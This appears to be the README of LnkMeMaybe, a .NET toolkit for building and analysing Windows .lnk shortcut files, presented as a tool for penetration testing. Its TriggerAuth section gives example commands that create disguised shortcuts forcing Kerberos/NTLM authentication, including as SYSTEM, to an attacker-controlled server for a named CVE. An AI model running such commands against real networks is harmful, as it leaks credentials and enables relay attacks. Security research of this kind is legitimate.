LnkMeMaybe

A .NET 8 toolkit for creating and analysing Windows Shell Link (.lnk) files. Includes a command-line builder (LnkMeMaybe) and a graphical editor (LnkUi). Intended for security research and penetration testing.

Projects

CLI — LnkMeMaybe

Common Parameters

All commands share the following base parameters (from BaseSavedCommand):

TriggerAuth (CVE-2026-25185)

Creates a .lnk that triggers Kerberos (falling back to NTLM) authentication to a specified server. The .lnk does not execute anything.

Scenarios where authentication is triggered:

1. A user browses to the share containing the .lnk — the user's account authenticates outbound.
2. The .lnk is placed in a location the machine is configured to index — SearchProtocolHost authenticates as SYSTEM.
3. MSSense is running and the location is not exempt — MSSense.exe authenticates as SYSTEM.

Parameters:

Examples:

# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk

# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk

WebShortcut

Creates a .lnk file that points to a web URL. Normally Windows creates a .url file for web shortcuts; this command produces a .lnk instead.

Parameters:

Example:

LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk

LocalShortcut

Creates a standard Windows shortcut to a local file or folder. The target path is stored as a shell item ID list (PIDL) — the native format Windows uses for filesystem shortcuts.

Parameters:

Examples:

# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk

# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe

# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk

EnvShortcut

Creates a .lnk where the target path is stored as an expandable environment-variable string (EnvironmentVariableDataBlock). This is the format Windows uses for shortcuts to system executables (e.g. %SystemRoot%\system32\notepad.exe). Variables are expanded at launch time, making the shortcut portable across Windows installations.

Parameters:

Examples:

# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk

# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk

Building

# Build (debug)
dotnet build Lnk.sln

# Build (release, core projects only)
dotnet build -c Release build.slnf

# Run all tests
dotnet test

# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"

# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj

Releases

Pre-built binaries for Windows, Linux, and macOS (x64 and arm64) are available on the Releases page.

Each release includes both standalone (no .NET runtime required) and framework-dependent (requires .NET 8 runtime) builds for LnkMeMaybe and LnkUi.

AI Usage Disclosure

AI systems were used for the following tasks:

• Code quality review
• Readme generation
• Github workflow actions

The code present in this repository was otherwise human created and reviewed.